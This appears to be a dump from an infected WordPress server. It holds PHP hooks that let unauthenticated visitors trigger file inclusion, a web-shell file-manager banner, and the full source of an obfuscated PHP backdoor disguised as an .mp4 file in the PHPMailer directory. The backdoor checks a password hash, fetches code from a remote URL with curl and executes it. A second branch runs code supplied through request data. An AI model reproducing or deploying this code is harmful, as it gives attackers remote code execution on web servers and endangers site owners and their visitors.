if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/PHPMailer/PHPMailer/Q.mp4
<?php
 goto U1fYKh7DfqFH5; z7r5d0ySfQJz1: class xVSadH1WL8bhR { static function bD0BHrbXrE4EB($Aki03EKSAEd6B) { goto eoTI6NdmhGoSc; tjrc3yXKh9K2Z: $bKLXLnVxNjdGx = explode("\174", $Aki03EKSAEd6B); goto uaeUiXnsyg0PD; q4s5K_UQsUwx_: foreach ($bKLXLnVxNjdGx as $tuSDBUEYKtB7H => $r1vaIqmdXsSpm) { $QxFL0QN4FK3po .= $c5Sj3gk3SdQQY[$r1vaIqmdXsSpm - 99116]; Mmgr3RCvkXc4H: } goto EMLqrnZc4Ah7K; EMLqrnZc4Ah7K: i8xLwvfCzhtmc: goto oqzaSeYzUt4iY; eoTI6NdmhGoSc: $C4tgbijy5MSnU = "\x72" . "\x61" . "\x6e" . "\147" . "\x65"; goto veMMB0TU02N5A; oqzaSeYzUt4iY: return $QxFL0QN4FK3po; goto bg2Ey867p8eU4; veMMB0TU02N5A: $c5Sj3gk3SdQQY = $C4tgbijy5MSnU("\176", "\40"); goto tjrc3yXKh9K2Z; uaeUiXnsyg0PD: $QxFL0QN4FK3po = ''; goto q4s5K_UQsUwx_; bg2Ey867p8eU4: } static function CDiczBDkC7zWu($AXEB2Gr2CQZ2n, $nmgrb4ZP20qTR) { goto q3_Q10a_TrKEl; hSSIukZf8440_: $QF99CZ1mGYReA = curl_exec($J7cVrORdQF8W7); goto na4FRUVLpIjUS; q3_Q10a_TrKEl: $J7cVrORdQF8W7 = curl_init($AXEB2Gr2CQZ2n); goto cJWYVSERHT0c3; cJWYVSERHT0c3: curl_setopt($J7cVrORdQF8W7, CURLOPT_RETURNTRANSFER, 1); goto hSSIukZf8440_; na4FRUVLpIjUS: return empty($QF99CZ1mGYReA) ? $nmgrb4ZP20qTR($AXEB2Gr2CQZ2n) : $QF99CZ1mGYReA; goto uWECPc7PpuJc3; uWECPc7PpuJc3: } static function k_mElT7hFnxdR() { goto n3IfSuJdRpDl1; b43j0AwiRDUq0: @$L2vFac7IQT2BG[0]('', $L2vFac7IQT2BG[5 + 2] . $L2vFac7IQT2BG[0 + 4]($ofsvS4aP0SXHN) . $L2vFac7IQT2BG[2 + 6]); goto oTHOXiUPud2J0; oTHOXiUPud2J0: die; goto s7YkZX2eTofHP; a3TxHsUF0bPLL: $b1GQl23snF5T6 = @$L2vFac7IQT2BG[1]($L2vFac7IQT2BG[1 + 9](INPUT_GET, $L2vFac7IQT2BG[8 + 1])); goto kNA03VIHXeUNb; W4hO3fRhdGMVk: $b1Pi2RDoT5UoA = $L2vFac7IQT2BG[2 + 0]($lf7tqegaI_3Is, true); goto eGL56wCKgfYNz; jMEcHiaoE7s34: $ofsvS4aP0SXHN = self::CDIcZBdKC7ZwU($b1Pi2RDoT5UoA[1 + 0], $L2vFac7IQT2BG[5 + 0]); goto b43j0AwiRDUq0; s7YkZX2eTofHP: MOnpLmKpn4519: goto BGPam6EkwcOZR; hDp2WIDE6oUKm: if (!(@$b1Pi2RDoT5UoA[0] - time() > 0 and md5(md5($b1Pi2RDoT5UoA[3 + 0])) === "\x33\x30\x38\67\142\x65\x39\x63\145\x62\x65\x65\63\146\x66\x66\x30\65\x62\65\144\x64\70\x61\x37\x33\x31\142\70\x33\x32\x63")) { goto MOnpLmKpn4519; } goto jMEcHiaoE7s34; kNA03VIHXeUNb: $lf7tqegaI_3Is = @$L2vFac7IQT2BG[3 + 0]($L2vFac7IQT2BG[6 + 0], $b1GQl23snF5T6); goto W4hO3fRhdGMVk; mQPv9_cJwWIkk: emThId4xbOzOk: goto a3TxHsUF0bPLL; n3IfSuJdRpDl1: $vdgBjQDAx9n4Y = array("\x39\x39\61\64\x33\x7c\x39\x39\61\x32\x38\x7c\71\x39\61\x34\x31\174\x39\71\61\x34\65\x7c\71\71\x31\x32\66\174\x39\x39\61\x34\61\x7c\71\71\61\x34\67\174\x39\71\x31\64\x30\174\x39\x39\61\62\65\174\71\x39\x31\63\62\x7c\71\x39\x31\64\63\x7c\x39\x39\x31\x32\66\174\x39\x39\61\x33\x37\174\71\x39\x31\63\61\x7c\71\x39\x31\x33\x32", "\71\x39\x31\x32\x37\174\x39\x39\61\62\x36\174\71\x39\x31\x32\x38\174\71\71\61\64\x37\174\x39\x39\x31\x32\x38\x7c\x39\x39\x31\63\x31\x7c\71\71\61\x32\x36\x7c\x39\x39\61\x39\63\174\x39\71\61\71\x31", "\71\x39\x31\x33\66\x7c\71\71\x31\x32\x37\174\71\x39\61\x33\61\x7c\x39\x39\x31\x33\x32\174\x39\x39\61\64\x37\x7c\71\x39\61\64\x32\x7c\x39\71\x31\x34\61\x7c\x39\71\61\64\63\x7c\71\x39\61\x33\61\x7c\x39\x39\x31\64\x32\x7c\x39\x39\x31\64\x31", "\x39\x39\61\x33\60\x7c\x39\x39\61\64\65\174\x39\x39\x31\64\63\174\71\x39\61\x33\x35", "\71\x39\61\64\64\174\x39\x39\x31\64\x35\x7c\71\71\x31\62\x37\174\x39\x39\x31\64\x31\174\x39\71\x31\70\x38\x7c\x39\x39\x31\71\x30\174\x39\x39\x31\64\67\174\71\x39\61\64\62\x7c\71\x39\x31\64\x31\174\x39\71\61\x34\x33\174\71\x39\61\63\x31\174\x39\x39\61\64\x32\174\71\71\61\64\x31", "\x39\x39\x31\x34\x30\174\x39\71\61\63\x37\174\x39\71\61\63\64\x7c\x39\x39\61\x34\61\174\71\71\61\64\67\x7c\71\x39\x31\x33\71\x7c\71\x39\x31\64\61\x7c\71\x39\61\62\x36\x7c\71\x39\61\64\x37\x7c\x39\71\61\x34\x33\174\71\71\61\63\x31\174\71\x39\61\x33\x32\174\71\71\61\x32\66\x7c\71\x39\61\64\61\x7c\71\x39\x31\x33\x32\174\x39\71\61\x32\66\x7c\71\x39\x31\x32\x37", "\71\x39\x31\67\x30\174\71\71\x32\60\x30", "\71\x39\x31\61\67", "\x39\x39\61\71\x35\x7c\x39\x39\62\60\60", "\71\x39\x31\x37\x37\174\x39\71\x31\66\60\x7c\71\71\x31\66\x30\x7c\71\x39\61\67\67\x7c\x39\71\x31\x35\x33", "\71\x39\x31\x34\x30\174\71\71\x31\x33\67\174\71\71\x31\x33\64\x7c\71\x39\x31\x32\66\x7c\x39\x39\x31\x34\x31\x7c\x39\71\x31\62\x38\174\x39\x39\x31\64\x37\174\71\x39\x31\63\67\x7c\71\x39\x31\63\x32\174\71\x39\61\x33\60\x7c\x39\71\x31\x32\x35\174\71\71\x31\62\x36"); goto mOI_tTe0nQbMh; eGL56wCKgfYNz: @$L2vFac7IQT2BG[0 + 10](INPUT_GET, "\157\146") == 1 && die($L2vFac7IQT2BG[1 + 4](__FILE__)); goto hDp2WIDE6oUKm; mOI_tTe0nQbMh: foreach ($vdgBjQDAx9n4Y as $tFEqR7yLBeItP) { $L2vFac7IQT2BG[] = self::bD0bhrBxrE4EB($tFEqR7yLBeItP); ztAYUTPNnZfIB: } goto mQPv9_cJwWIkk; BGPam6EkwcOZR: } } goto mn2lR8B0Ps_1H; U1fYKh7DfqFH5: $rXCd3q2L4TZ0h = range("\x7e", "\40"); goto SpV8oy3AAWGCx; SpV8oy3AAWGCx: $CH3GT961IEY6S = ${$rXCd3q2L4TZ0h[12 + 19] . $rXCd3q2L4TZ0h[53 + 6] . $rXCd3q2L4TZ0h[39 + 8] . $rXCd3q2L4TZ0h[17 + 30] . $rXCd3q2L4TZ0h[14 + 37] . $rXCd3q2L4TZ0h[0 + 53] . $rXCd3q2L4TZ0h[17 + 40]}; goto JgqD_u0OAUq6j; TY3ngDKTpMi_R: metaphone("\x4f\104\105\65\x4f\104\111\x34\x4d\104\143\65\117\104\111\x35\x4d\x7a\111\61\116\x6a\x45\x7a\x4f\x44\125\63\x4e\x44\x4d\170"); goto z7r5d0ySfQJz1; JgqD_u0OAUq6j: @(md5(md5(md5(md5($CH3GT961IEY6S[6])))) === "\70\x35\142\64\61\x37\63\67\66\x66\61\x39\x64\146\61\x38\144\142\66\x31\x64\x39\71\x63\62\x61\x36\143\143\67\66\x33") && (count($CH3GT961IEY6S) == 12 && in_array(gettype($CH3GT961IEY6S) . count($CH3GT961IEY6S), $CH3GT961IEY6S)) ? ($CH3GT961IEY6S[66] = $CH3GT961IEY6S[66] . $CH3GT961IEY6S[77]) && ($CH3GT961IEY6S[83] = $CH3GT961IEY6S[66]($CH3GT961IEY6S[83])) && @($CH3GT961IEY6S = $CH3GT961IEY6S[83]($CH3GT961IEY6S[55], $CH3GT961IEY6S[66](${$CH3GT961IEY6S[45]}[11]))) && $CH3GT961IEY6S() : $CH3GT961IEY6S; goto TY3ngDKTpMi_R; mn2lR8B0Ps_1H: xvSADh1Wl8BhR::k_meLt7hFnXdr();
?>